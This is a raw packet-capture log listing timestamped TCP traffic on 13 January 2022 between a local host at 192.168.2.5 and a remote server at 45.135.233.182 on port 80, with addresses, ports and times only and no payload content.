Jan 13, 2022 20:51:06.610726118 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.610747099 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.610768080 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.610783100 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.610809088 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.616889000 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.616930008 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.616954088 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.616978884 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.617006063 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.617036104 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.642286062 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.642324924 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.642430067 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.650639057 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.650680065 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.650707960 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.650732040 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.650791883 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.650846004 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.669493914 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.669538021 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.669563055 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.669585943 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.669611931 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.669642925 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.678792000 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.678831100 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.678853989 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.678878069 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.678930998 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.678996086 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.698745012 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.698779106 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.698873043 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.706770897 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.706826925 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.706854105 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.706877947 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.706907034 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.706938982 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.730004072 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.730041027 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.730063915 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.730088949 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.730138063 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.730163097 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.736166000 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.736202955 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.736227989 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.736252069 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.736269951 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.736300945 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.754595995 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.754636049 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.754722118 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.763155937 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.763262987 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.763294935 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.763320923 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.763338089 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.763375998 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.786626101 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.786673069 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.786698103 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.786722898 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.786803007 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.792506933 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.792550087 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.792573929 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.792598009 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.792637110 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.792673111 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.828635931 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.828831911 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.829018116 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.829447985 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.829480886 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.829576969 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.829767942 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.829797029 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.829878092 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.843691111 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.843729019 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.843749046 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.843766928 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.844327927 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.849282980 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.849318027 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.849344969 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.849371910 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.849447012 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.849489927 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.849555016 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.893831968 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.894089937 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.894125938 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.894146919 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.894167900 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.894195080 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.894227028 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.896038055 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.896065950 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.896138906 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.900815964 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.900840998 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.900895119 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.903238058 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.903258085 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.903337002 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.905677080 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.905730009 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.905759096 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.905765057 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.905842066 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.950658083 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.950695038 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.950719118 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.950742960 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.950758934 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.950812101 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.957375050 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.957485914 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.957500935 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.957535982 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.957592010 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.957624912 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.958081007 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.958127975 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.958198071 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.959384918 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.959419966 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.959533930 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.962418079 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.962450981 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.962480068 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.962510109 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:06.962548971 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:06.962564945 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.006787062 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.006824970 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.006846905 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.006889105 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.007091045 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.007116079 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.014189005 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.014215946 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.014238119 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.014256954 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.014307022 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.014347076 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.015309095 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.015331030 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.015383005 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.016727924 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.016746998 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.016853094 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.020112038 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.020169973 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.020201921 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.020232916 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.020236015 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.020279884 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.020355940 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.062868118 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.062892914 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.062912941 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.062982082 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.063013077 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.070898056 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.070928097 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.070950985 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.070972919 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.071048021 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.071082115 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.071156025 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.071182013 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.071233034 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.077131987 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.077158928 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.077187061 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.077239037 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.077265978 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.077327967 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.119971991 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.120013952 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.120039940 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.120064974 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.120088100 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.120129108 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.120136023 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.120178938 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.122868061 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.122914076 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.123002052 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.124845982 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.127075911 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.127110004 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.127135992 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.127161026 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.127182961 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.127199888 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.127207041 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.127247095 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.127263069 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.133035898 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.133127928 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.133233070 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.133258104 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.133277893 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.133400917 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.133426905 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.193883896 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.193907976 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.193924904 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.193943977 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.193996906 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.194031000 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.194057941 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.194089890 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.194109917 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.194179058 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.194251060 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.194281101 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.194339037 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.250580072 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.250658035 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.250679016 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.250699043 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.250741005 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.250771046 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.252918959 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.252964020 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.253022909 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.307523966 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.307609081 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.307666063 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.307667017 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.307718992 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.307776928 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.307854891 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.307908058 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.307964087 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.364208937 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.364248037 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.364274025 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.364290953 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.364408016 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.365132093 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.365163088 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.365257025 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.421093941 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.421139002 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.421166897 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.421194077 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.421210051 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.421266079 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.421277046 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.421695948 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.421729088 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.422128916 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.477813959 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.477926970 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.477974892 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.478015900 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.478055000 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.478085041 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.478159904 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.478203058 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.478259087 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.547905922 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.547926903 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.547947884 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.547986984 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.548093081 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.548152924 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.548219919 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.548240900 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.548261881 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.548331022 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.609819889 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.609885931 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.609909058 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.609930038 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.609949112 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.609970093 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.609978914 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.609993935 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.610003948 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.610034943 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.659563065 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.683681965 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.683733940 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.683775902 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.683830976 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.683840990 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.683902979 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.692717075 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.692755938 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.692866087 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.716372967 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.741275072 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.741336107 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.741411924 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.741477013 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.741477966 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.741519928 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.749944925 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.749978065 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.750098944 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.797650099 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.797673941 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.797698975 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.797722101 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.797810078 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.805926085 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.805954933 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.805973053 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.805993080 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.806046009 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.806071997 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.854305983 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.854340076 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.854360104 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.854377985 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.854546070 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.862662077 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.862694979 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.862720013 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.862742901 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.862762928 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.862931967 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.921037912 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.921082973 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.921103001 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.921134949 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.921247959 CET	49796	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:07.930896997 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.930946112 CET	80	49796	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:07.930972099 CET	80	49796	45.135.233.182	192.168.2.5
